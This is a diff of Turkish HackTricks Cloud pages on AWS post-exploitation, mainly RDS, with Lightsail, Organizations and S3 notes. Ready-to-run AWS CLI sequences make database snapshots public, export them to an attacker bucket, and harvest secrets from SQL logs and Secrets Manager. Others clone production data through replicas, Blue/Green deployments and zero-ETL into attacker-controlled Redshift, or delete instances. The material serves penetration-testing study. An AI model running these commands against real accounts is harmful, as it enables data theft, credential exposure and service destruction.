{{#endref}}
|
||||
|
||||
### Restore old DB snapshots
|
||||
|
||||
DB'de snapshot'lar varsa, eski snapshot'larda şu anda silinmiş olan **hassas bilgileri bulabilirsiniz**. **Geri yükleyin** snapshot'ı **yeni bir veritabanında** ve kontrol edin.
|
||||
|
||||
### Restore Instance Snapshots
|
||||
|
||||
Instance snapshot'ları, zaten silinmiş instance'ların veya mevcut instance'da silinmiş olan **hassas bilgileri** içerebilir. **Snapshot'lardan yeni instance'lar oluşturun** ve bunları kontrol edin.\
|
||||
Veya **snapshot'ı EC2'daki bir AMI'ye dışa aktarın** ve tipik bir EC2 instance'ının adımlarını izleyin.
|
||||
|
||||
### Access Sensitive Information
|
||||
|
||||
Potansiyel hassas bilgilere erişmenin farklı yollarını öğrenmek için Lightsail privesc seçeneklerine bakın:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-lightsail-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-17
@@ -1,17 +0,0 @@
|
||||
# AWS - Organizasyonlar Sonrası İstismar
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organizasyonlar
|
||||
|
||||
AWS Organizasyonları hakkında daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Organizasyonu Terketmek
|
||||
```bash
|
||||
aws organizations deregister-account --account-id <account_id> --region <region>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+17
@@ -0,0 +1,17 @@
|
||||
# AWS - Organizations Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organizations
|
||||
|
||||
AWS Organizations hakkında daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Org'tan ayrılma
|
||||
```bash
|
||||
aws organizations deregister-account --account-id <account_id> --region <region>
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+67
-66
@@ -1,18 +1,18 @@
|
||||
# AWS - RDS Post Exploitation
|
||||
# AWS - RDS Erişim Sonrası
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Saldırgan yeterli izinlere sahipse, DB'nin bir snapshot'ını oluşturarak ve ardından snapshot'tan **DB publicly accessible** bir DB oluşturarak onu herkese açık hale getirebilir.
|
||||
Saldırganın yeterli izinleri varsa, DB'nin bir snapshot'ını oluşturarak ve ardından snapshot'tan publicly accessible bir DB oluşturarak **DB publicly accessible** yapabilir.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Bu izinlere sahip bir saldırgan, **bir DB'nin snapshot'ını oluşturup** bunu **herkese** **açık** hale getirebilir. Sonra, kendi hesabında o snapshot'tan bir DB oluşturabilir.
|
||||
Bu izinlere sahip bir saldırgan, bir DB'nin **snapshot'ını oluşturabilir** ve bunu **herkese** **açık** hale getirebilir. Sonrasında kendi hesabında bu snapshot'tan bir DB oluşturabilir.
|
||||
|
||||
Eğer saldırgan **`rds:CreateDBSnapshot` iznine sahip değilse**, yine de oluşturulmuş **diğer** snapshot'ları **herkese** **açık** hale getirebilir.
|
||||
Eğer saldırgan **`rds:CreateDBSnapshot` iznine sahip değilse**, yine de oluşturulmuş **diğer** snapshot'ları **kamuya açık** yapabilir.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -53,45 +53,45 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
`rds:DownloadDBLogFilePortion` yetkisine sahip bir attacker, **RDS instance'ın log dosyalarının bölümlerini indirebilir**. Eğer hassas veriler veya access credentials kazara loglanırsa, attacker bu bilgileri kullanarak privileges'larını escalate edebilir veya yetkisiz işlemler gerçekleştirebilir.
|
||||
`rds:DownloadDBLogFilePortion` yetkisine sahip bir attacker **RDS instance'ının log dosyalarının bölümlerini indirebilir**. Eğer hassas veriler veya erişim kimlik bilgileri kazara loglanmışsa, attacker bu bilgileri potansiyel olarak yetkilerini yükseltmek veya yetkisiz işlemler gerçekleştirmek için kullanabilir.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Potential Impact**: leaked credentials kullanılarak hassas bilgilere erişim veya yetkisiz işlemler.
|
||||
**Olası Etki**: Hassas bilgilere erişim veya leaked credentials kullanılarak yetkisiz işlemler.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Bu izinlere sahip bir saldırgan mevcut RDS instance'larını **DoS** ile kullanılamaz hale getirebilir.
|
||||
Bu izinlere sahip bir saldırgan **DoS existing RDS instances** yapabilir.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Potansiyel etki**: Mevcut RDS instance'larının silinmesi ve potansiyel veri kaybı.
|
||||
**Olası etki**: Mevcut RDS instance'larının silinmesi ve olası veri kaybı.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> YAPILACAK: Test
|
||||
> TODO: Test
|
||||
|
||||
Bu izne sahip bir saldırgan **bir RDS instance snapshot'ını bir S3 bucket'a dışa aktarabilir**. Eğer saldırgan hedef S3 bucket üzerinde kontrol sahibi ise, dışa aktarılan snapshot içindeki hassas verilere erişebilir.
|
||||
Bu izne sahip bir saldırgan **bir RDS instance snapshot'ını bir S3 bucket'a dışa aktarabilir**. Eğer saldırgan hedef S3 bucket üzerinde kontrole sahipse, dışa aktarılan snapshot içindeki hassas verilere erişebilir.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potential impact**: Dışa aktarılan snapshot'taki hassas verilere erişim.
|
||||
**Potansiyel etki**: Dışa aktarılan snapshot'taki hassas verilere erişim.
|
||||
|
||||
### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Gizli geri yükleme için Bölgeler Arası otomatik yedeklerin çoğaltılması (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Cross-Region automated backups replication'ı kötüye kullanarak bir RDS instance'ının automated backups'larını sessizce başka bir AWS Region'a kopyalayabilir ve orada restore edebilirsiniz. Ardından saldırgan restore edilen DB'yi genel erişime açabilir ve ana parolayı sıfırlayarak, savunucuların izlemiyor olabileceği bir Bölge'den veriye out-of-band erişim sağlayabilir.
|
||||
Cross-Region otomatik yedek çoğaltmayı kötüye kullanarak bir RDS instance'ının otomatik yedeklerini sessizce başka bir AWS Region'a kopyalayın ve orada geri yükleyin. Saldırgan daha sonra geri yüklenen DB'yi genel erişime açabilir ve ana parolayı sıfırlayarak savunucuların izlemediği bir Region'da veriye out-of-band erişim sağlayabilir.
|
||||
|
||||
Permissions needed (minimum):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` hedef Bölge'de
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` hedef Bölge'de
|
||||
- `rds:RestoreDBInstanceToPointInTime` hedef Bölge'de
|
||||
- `rds:ModifyDBInstance` hedef Bölge'de
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (opsiyonel temizlik)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (restore edilen DB'yi açmak için)
|
||||
Gerekli izinler (asgari):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` hedef Region'da
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` hedef Region'da
|
||||
- `rds:RestoreDBInstanceToPointInTime` hedef Region'da
|
||||
- `rds:ModifyDBInstance` hedef Region'da
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (isteğe bağlı temizlik)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (geri yüklenen DB'yi erişime açmak için)
|
||||
|
||||
Impact: Üretim verilerinin bir kopyasını başka bir Bölgeye restore ederek ve saldırgan kontrollü kimlik bilgileriyle bunu herkese açık hale getirerek kalıcılık ve veri sızdırma.
|
||||
Etkisi: Üretim verilerinin bir kopyasını başka bir Region'a geri yükleyip bunu saldırgan kontrollü kimlik bilgileriyle herkese açık hale getirerek kalıcılık ve veri sızdırma sağlar.
|
||||
|
||||
<details>
|
||||
<summary>Uçtan uca CLI (yer tutucuları değiştirin)</summary>
|
||||
@@ -163,25 +163,25 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### DB parameter groups aracılığıyla tam SQL logging'i etkinleştir ve RDS log APIs ile exfiltrate et
|
||||
### DB parametre grupları aracılığıyla tam SQL logging'i etkinleştirerek RDS log API'leri ile exfiltrate edin
|
||||
|
||||
`rds:ModifyDBParameterGroup`'ı RDS log download APIs ile kullanarak uygulamalar tarafından yürütülen tüm SQL ifadelerini yakalayın (DB engine credentials gerekmez). Engine SQL logging'i etkinleştir ve dosya loglarını `rds:DescribeDBLogFiles` ve `rds:DownloadDBLogFilePortion` ile çek (veya REST `downloadCompleteLogFile`). Bu, secrets/PII/JWTs içerebilecek sorguları toplamak için faydalıdır.
|
||||
Uygulamalar tarafından yürütülen tüm SQL ifadelerini yakalamak için `rds:ModifyDBParameterGroup`'ı RDS log indirme API'leri ile kötüye kullanın (DB engine kimlik bilgileri gerekmez). Motor SQL logging'ini etkinleştirip dosya loglarını `rds:DescribeDBLogFiles` ve `rds:DownloadDBLogFilePortion` (veya REST `downloadCompleteLogFile`) ile çekin. Gizli bilgiler/PII/JWT içerebilecek sorguları toplamak için kullanışlıdır.
|
||||
|
||||
Gerekli izinler (asgari):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (sadece örnek varsayılanı kullanıyorsa özel bir parametre grubu eklemek için)
|
||||
- `rds:RebootDBInstance` (yeniden başlatma gerektiren parametreler için, örn. PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (sadece örnek varsayılan bir tane kullanıyorsa özel bir parameter group eklemek için)
|
||||
- `rds:RebootDBInstance` (yeniden başlatma gerektiren parametreler için, ör. PostgreSQL)
|
||||
|
||||
Adımlar
|
||||
1) Recon hedefini ve mevcut parametre grubunu keşfet
|
||||
1) Recon: hedefi ve mevcut parametre grubunu keşfedin
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Özel bir DB parameter group iliştirilmiş olduğundan emin olun (varsayılan düzenlenemez)
|
||||
- Eğer instance zaten bir custom group kullanıyorsa, sonraki adımda adını tekrar kullanın.
|
||||
- Eğer instance zaten özel bir grup kullanıyorsa, bir sonraki adımda adını tekrar kullanın.
|
||||
- Aksi halde engine family ile eşleşen bir tane oluşturup iliştirin:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
@@ -196,8 +196,8 @@ aws rds modify-db-instance \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Ayrıntılı SQL kayıtlamayı etkinleştir
|
||||
- MySQL motorları (anında / yeniden başlatma gerekmez):
|
||||
3) Ayrıntılı SQL logging'i etkinleştirin
|
||||
- MySQL engine'leri (anında / yeniden başlatma gerekmez):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL engine'leri (yeniden başlatma gerekli):
|
||||
- PostgreSQL motorları (yeniden başlatma gerekli):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) İş yükünün çalışmasına izin verin (veya sorgular oluşturun). İfadeler engine dosya kayıtlarına yazılacaktır
|
||||
4) İş yükünü çalıştırın (veya sorgular oluşturun). İfadeler engine dosya loglarına yazılacaktır
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Kayıtları keşfedin ve indirin (DB kimlik bilgileri gerekmiyor)
|
||||
5) Logları keşfedin ve indirin (veritabanı kimlik bilgileri gerekmez)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -246,7 +246,7 @@ grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | s
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Temizlik
|
||||
- Parametreleri varsayılanlara geri döndür ve gerekirse yeniden başlat:
|
||||
- Parametreleri varsayılanlara geri döndürün ve gerekiyorsa yeniden başlatın:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Etkisi: Post-exploitation sırasında AWS API'leri üzerinden tüm uygulama SQL ifadelerini yakalayarak veri erişimi (no DB creds); potansiyel olarak secrets, JWTs ve PII'nin leak olma riski.
|
||||
Impact: Post-exploitation aşamasında AWS API'leri aracılığıyla tüm uygulama SQL ifadelerini yakalayarak veri erişimi (no DB creds); potansiyel olarak secrets, JWTs ve PII leak.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
RDS read replicas'ları kötüye kullanarak birincil instance kimlik bilgilerine dokunmadan out-of-band okuma erişimi elde edilebilir. Bir saldırgan production instance'tan bir read replica oluşturabilir, replica'nın master parolasını sıfırlayabilir (bu primary'i değiştirmez) ve isteğe bağlı olarak verileri exfiltrate etmek için replicayı public olarak açabilir.
|
||||
RDS read replica'larını kötüye kullanarak primary instance kimlik bilgilerine dokunmadan out-of-band okuma erişimi elde edin. Bir saldırgan production instance'tan bir read replica oluşturabilir, replica'nın master password'unu resetleyebilir (bu primary'i değiştirmez) ve isteğe bağlı olarak verileri exfiltrate etmek için replicayı public olarak açabilir.
|
||||
|
||||
Gerekli izinler (asgari):
|
||||
Permissions needed (minimum):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
|
||||
Etkisi: Saldırgan kontrollü kimlik bilgilerine sahip bir replica üzerinden production verilerine yalnızca okunur erişim; primary'e dokunulmadığı ve replication devam ettiği için tespit edilme olasılığı daha düşüktür.
|
||||
Impact: Replica üzerinden attacker-controlled credentials ile production verilerine sadece-okuma erişimi; primary'e dokunulmadığı ve replication devam ettiği için tespit edilme olasılığı daha düşüktür.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -305,12 +305,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Örnek kanıt (MySQL):
|
||||
- Replika DB durumu: `available`, okuma replikasyonu: `replicating`
|
||||
- Yeni parola ile başarılı bağlantı ve `@@read_only=1` ile salt okunur replikaya erişim doğrulandı.
|
||||
- Replica DB durumu: `available`, read replication: `replicating`
|
||||
- Yeni parola ile başarılı bağlantı ve `@@read_only=1` değeri, salt okunur replica erişimini doğrular.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
Kötüye kullanın RDS Blue/Green'i, üretim veritabanını sürekli replikasyonlu, salt okunur bir green ortama klonlamak için. Sonra green master kimlik bilgilerini sıfırlayarak blue (prod) instance'ına dokunmadan verilere erişin. Bu, snapshot sharing'den daha sinsi olup genellikle yalnızca kaynağa odaklanan izlemeyi atlatır.
|
||||
RDS Blue/Green'ı üretim DB'sini sürekli replikasyonlu, salt okunur green ortama klonlamak için kötüye kullanın. Daha sonra blue (prod) instance'a dokunmadan verilere erişmek için green master kimlik bilgilerini sıfırlayın. Bu, snapshot sharing'den daha gizlidir ve genellikle yalnızca kaynağa odaklanan izlemeyi atlatır.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -357,18 +357,19 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impact: Yazma izni yok ama üretimin neredeyse gerçek zamanlı klonuna tam veri erişimi sağlar; üretim örneğini değiştirmeden. Gizli veri çıkarma ve çevrimdışı analiz için kullanışlı.
|
||||
Etkisi: Üretim örneğini değiştirmeden üretimin neredeyse gerçek zamanlı bir klonuna salt-okunur ancak tam veri erişimi. Gizli veri çıkarma ve çevrimdışı analiz için kullanışlıdır.
|
||||
|
||||
### RDS Data API aracılığıyla bant-dışı SQL — HTTP endpoint'ini etkinleştirerek + master parolayı sıfırlayarak
|
||||
|
||||
Aurora'yı, hedef bir cluster'da RDS Data API HTTP endpoint'ini etkinleştirmek, master parolayı kontrolünüzdeki bir değere sıfırlamak ve HTTPS üzerinden SQL çalıştırmak için kötüye kullanın (VPC ağ yolu gerekmez). Data API/EnableHttpEndpoint'i destekleyen Aurora engine'lerde çalışır (ör. Aurora MySQL 8.0 provisioned; bazı Aurora PostgreSQL/MySQL sürümleri).
|
||||
### RDS Data API üzerinden bantdışı SQL — HTTP uç noktasını etkinleştirip master parolayı sıfırlama ile
|
||||
|
||||
Aurora'yı kötüye kullanarak hedef bir cluster üzerinde RDS Data API HTTP uç noktasını etkinleştirin, master parolayı kontrolünüzde olan bir değere sıfırlayın ve HTTPS üzerinden SQL çalıştırın (VPC ağ yolu gerekmez). Data API/EnableHttpEndpoint'i destekleyen Aurora motorlarında çalışır (ör. Aurora MySQL 8.0 provisioned; bazı Aurora PostgreSQL/MySQL sürümleri).
|
||||
|
||||
Permissions (minimum):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Impact: Ağ segmentasyonunu atlar ve DB'ye doğrudan VPC bağlantısı olmadan AWS API'leri aracılığıyla veri sızdırır.
|
||||
Etkisi: Ağ segmentasyonunu aşar ve verileri doğrudan DB'ye VPC bağlantısı olmadan AWS API'leri aracılığıyla dışa aktarır.
|
||||
|
||||
<details>
|
||||
<summary>Uçtan uca CLI (Aurora MySQL örneği)</summary>
|
||||
@@ -424,21 +425,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Notlar:
|
||||
- Eğer multi-statement SQL rds-data tarafından reddediliyorsa, ayrı execute-statement çağrıları yapın.
|
||||
- modify-db-cluster --enable-http-endpoint'in etkisi olmayan motorlar için rds enable-http-endpoint --resource-arn kullanın.
|
||||
- Motor/sürümün gerçekten Data API'yi desteklediğinden emin olun; aksi takdirde HttpEndpointEnabled False olarak kalır.
|
||||
- Eğer rds-data tarafından multi-statement SQL reddediliyorsa, ayrı execute-statement çağrıları yapın.
|
||||
- modify-db-cluster --enable-http-endpoint'in etkili olmadığı engine'ler için rds enable-http-endpoint --resource-arn kullanın.
|
||||
- engine/version'ın gerçekten Data API'yi desteklediğinden emin olun; aksi halde HttpEndpointEnabled False olarak kalacaktır.
|
||||
|
||||
|
||||
### RDS Proxy auth secrets aracılığıyla DB kimlik bilgilerini elde etme (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
RDS Proxy yapılandırmasını kötüye kullanarak backend kimlik doğrulaması için kullanılan Secrets Manager secret'ını keşfedin, ardından veritabanı kimlik bilgilerini elde etmek için secret'ı okuyun. Pek çok ortam geniş `secretsmanager:GetSecretValue` izni verir; bu da DB kimlik bilgilerine düşük sürtünmeli bir pivot sağlar. Eğer secret bir CMK kullanıyorsa, yanlış yapılandırılmış KMS izinleri ayrıca `kms:Decrypt` iznini verebilir.
|
||||
RDS Proxy konfigürasyonunu kötüye kullanarak backend kimlik doğrulaması için kullanılan Secrets Manager secret'ını keşfedin, ardından veritabanı kimlik bilgilerini elde etmek için secret'ı okuyun. Birçok ortam geniş `secretsmanager:GetSecretValue` izinleri veriyor, bu da DB kimlik bilgilerine düşük sürtüşmeli bir pivot sağlar. Secret bir CMK kullanıyorsa, yanlış kapsamlandırılmış KMS izinleri ayrıca `kms:Decrypt` iznini de sağlayabilir.
|
||||
|
||||
Gerekli izinler (minimum):
|
||||
Gerekli izinler (asgari):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` on the referenced SecretArn
|
||||
- Optional when the secret uses a CMK: `kms:Decrypt` on that key
|
||||
|
||||
Etkisi: Proxy üzerinde yapılandırılmış DB kullanıcı adı/parolasının anında ifşası; doğrudan DB erişimi veya daha fazla lateral movement olanağı sağlar.
|
||||
Etkisi: Proxy üzerinde yapılandırılmış DB kullanıcı adı/parolasının derhal ifşa olması; doğrudan DB erişimi veya daha fazla lateral movement sağlar.
|
||||
|
||||
Adımlar
|
||||
```bash
|
||||
@@ -453,7 +454,7 @@ aws secretsmanager get-secret-value \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
Laboratuvar (yeniden üretmek için asgari gereksinimler)
|
||||
Laboratuvar (yeniden üretmek için minimum)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -481,18 +482,18 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet
|
||||
```
|
||||
### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Aurora PostgreSQL zero‑ETL entegrasyonunu suistimal ederek üretim verilerini sizin kontrolünüzdeki bir Redshift Serverless namespace'e sürekli olarak replike edin. Belirli bir Aurora cluster ARN için CreateInboundIntegration/AuthorizeInboundIntegration yetkisi veren gevşek bir Redshift resource policy ile bir saldırgan, DB kimlik bilgileri, snapshot veya ağ açığı olmadan neredeyse gerçek zamanlı bir veri kopyası oluşturabilir.
|
||||
Aurora PostgreSQL zero‑ETL entegrasyonunu kötüye kullanarak üretim verilerini kontrolünüzdeki bir Redshift Serverless namespace içine sürekli olarak replikasyon yapın. Belirli bir Aurora cluster ARN için CreateInboundIntegration/AuthorizeInboundIntegration yetkisi veren esnek bir Redshift resource policy ile, bir saldırgan DB kimlik bilgileri, snapshot veya ağ açığı olmaksızın neredeyse gerçek zamanlı bir veri kopyası oluşturabilir.
|
||||
|
||||
Gerekli izinler (asgari):
|
||||
Gerekli izinler (minimum):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (sorgulamak için)
|
||||
- `rds-data:ExecuteStatement` (istemci; gerekiyorsa veri başlatmak için)
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (sorgulama için)
|
||||
- `rds-data:ExecuteStatement` (isteğe bağlı; gerekirse veri başlatmak için)
|
||||
|
||||
Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
Test edildi: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Create Redshift Serverless namespace + workgroup</summary>
|
||||
<summary>1) Redshift Serverless namespace + workgroup oluşturma</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
@@ -539,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Aurora PostgreSQL kümesi oluşturun (Data API ve logical replication etkinleştirin)</summary>
|
||||
<summary>3) Aurora PostgreSQL kümesi oluşturun (Data API ve logical replication'i etkinleştirin)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -582,7 +583,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Redshift'te çoğaltılmış verileri maddileştirin ve sorgulayın</summary>
|
||||
<summary>5) Redshift'te çoğaltılmış veriyi materialize etme ve sorgulama</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
@@ -597,9 +598,9 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
|
||||
Testte gözlemlenen kanıtlar:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION, DB oluşturulmasından önce integration_id 377a462b-c42c-4f08-937b-77fe75d98211 ve durum PendingDbConnectState gösterdi.
|
||||
- CREATE DATABASE FROM INTEGRATION işleminden sonra tabloları listelemek ztl şemasını ve customers tablosunu ortaya çıkardı; ztl.customers'tan yapılan seçim 2 satır döndürdü (Alice, Bob).
|
||||
- SVV_INTEGRATION, DB oluşturulmadan önce integration_id 377a462b-c42c-4f08-937b-77fe75d98211 ve state PendingDbConnectState gösterdi.
|
||||
- CREATE DATABASE FROM INTEGRATION sonrası, tablolar listelendiğinde schema ztl ve table customers görüldü; ztl.customers'tan seçim 2 satır döndürdü (Alice, Bob).
|
||||
|
||||
Etkisi: Seçili Aurora PostgreSQL tablolarının saldırgan tarafından kontrol edilen Redshift Serverless'e sürekli ve neredeyse gerçek zamanlı olarak sızdırılması; bu süreçte veritabanı kimlik bilgileri, yedekler veya kaynak kümesine ağ erişimi kullanılmıyor.
|
||||
Etkisi: Saldırgan tarafından kontrol edilen Redshift Serverless'e seçilmiş Aurora PostgreSQL tablolarının sürekli, neredeyse gerçek zamanlı olarak dışa aktarılması; bu işlem veritabanı kimlik bilgileri, yedekler veya kaynak küme için ağ erişimi kullanmadan gerçekleşir.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,38 +0,0 @@
|
||||
# AWS - S3 Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hassas Bilgiler
|
||||
|
||||
Bazen, kovalar içinde okunabilir hassas bilgiler bulabilirsiniz. Örneğin, terraform durum gizli anahtarları.
|
||||
|
||||
### Pivotlama
|
||||
|
||||
Farklı platformlar, hassas varlıkları depolamak için S3 kullanıyor olabilir.\
|
||||
Örneğin, **airflow** burada **DAG'ların** **kodunu** depoluyor olabilir veya **web sayfaları** doğrudan S3'ten sunulabilir. Yazma izinlerine sahip bir saldırgan, **kodunu** kovadan **değiştirerek** diğer platformlara **pivot** yapabilir veya JS dosyalarını değiştirerek **hesapları ele geçirebilir**.
|
||||
|
||||
